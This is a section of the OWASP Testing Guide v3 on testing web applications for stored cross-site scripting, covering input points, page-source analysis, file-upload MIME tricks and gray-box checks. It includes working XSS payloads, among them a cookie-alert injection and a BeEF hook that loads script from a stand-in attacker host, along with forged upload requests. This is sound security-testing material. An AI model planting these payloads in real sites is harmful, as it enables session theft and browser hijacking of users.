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Testing for Stored Cross site scripting (OTG-INPVAL-002)

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This is a draft of a section of the new Testing Guide v3

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

Brief Summary

Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and relative exploitation scenario.

Description of the Issue

Stored XSS occurs when a web application gathers malicious input from a user and then stores that input in a data store for later viewing. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.
This vulnerability can be used to conduct a number of browser-based attacks including:

  • Hijacking another users browser
  • Capturing sensitive information viewed by application users
  • Pseudo defacement of the application
  • Port scanning of internal hosts
  • Directed delivery of browser-based exploits
  • Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

  • Attacker stores malicious code into the vulnerable page
  • User authenticates in the application
  • User visits vulnerable page
  • Malicious code is executed by the browser’s user

This type of attack can also be exploited with browser exploitation frameworks such as BeEF, XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development.
Stored XSS is particularly dangerous in application area where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by its browser. This might expose sensitive information such as session authorisation tokens.

Black Box testing and example

Input Forms

The first step is to identify of all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

  • User/Profiles page: the application allows user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc
  • Shopping cart: the application allows user to store items into the shopping cart which can then be reviewed later
  • File Manager: application that allows upload of files
  • Application settings/preferences: application that allows user to set preferences

Analyse page source code

Input stored by the application is normally used in HTML tags but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how is positioned in the context of the page.

Example: Email stored data in index2.php

Stored input example.jpg

The HTML source code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]" />

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"> MALICIOUS CODE <!-- />

Testing Stored XSS

This involves testing the input validation/filtering controls of the application. Basic injection examples in our case:

[email protected]"><script>alert(document.cookie)</script>
[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as WebScarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results with a windows popup containing the cookie values.

Result Expected:

Stored xss example.jpg

The HTML source code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="[email protected]"><script>alert(document.cookie)</script>

The input is stored and the XSS payload is executed by the browser when reloading the page.
In case the input is escaped by the application, it is suggested to test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filter in action. Many techniques exist in order to evade input filters. It is strongly recommended to refer to RSnake and Mario XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.

Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF, XSS Proxy and Backframe. Let’s see what a typical BeEF exploitation scenario involves:

  • Injecting a JavaScript hook which communicates to the attackers browser exploitation framework (BeEF)
  • Waiting for the application user to view the vulnerable page where the stored input is displayed
  • Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the application.

Example: BeEF Injection in index2.php:

[email protected]”><script src=http://attackersite/beef/hook/beefmagic.js.php></script>

When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard and launch complex XSS attacks.

Result Expected

BeEF in action.jpg

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.

File Upload

In case the application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.

Consider the following HTTP POST request for file upload:

POST /fileupload.aspx HTTP/1.1

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain


This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG, GIF can contain a XSS payload that is executed when they are loaded by the browser. This is possible due to the MIME type for an image such as image/gif can be set to text/html instead. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html


Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT file with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.

Gray Box testing and example

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has some partial knowledge of the application. In this case, information regarding user input, input validation controls and data storage might be known by the pen-tester.

Depending on the information available, it is normally recommended to check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

  • Use front-end application and enter input with special/invalid characters
  • Analyse application response
  • Identify presence of input validation controls
  • Access back-end system and check if input is stored and how it is stored
  • Analyse source code and understand how stored input is rendered by the application

If source code is available (White Box), all variables used in input forms should be analysed.

In particular, programming languages such as PHP, ASP and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarises some special variables and functions to look at when analysing source code:

  • $_GET - HTTP GET variables
  • $_POST - HTTP POST variables
  • $_FILES - HTTP File Upload variables
  • Request.QueryString - HTTP GET
  • Request.Form - HTTP POST
  • Server.CreateObject - used to upload files
  • doGet, doPost servlets - HTTP GET and POST
  • request.getParameter - HTTP GET/POST variables



  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3



CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.

PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customised payloads.

BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool

Backframe is a full-featured attack console for exploiting WEB browsers, WEB users and WEB applications

WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.

Greasemonkey script that allow users to easily test any web for cross-site-scripting flaws.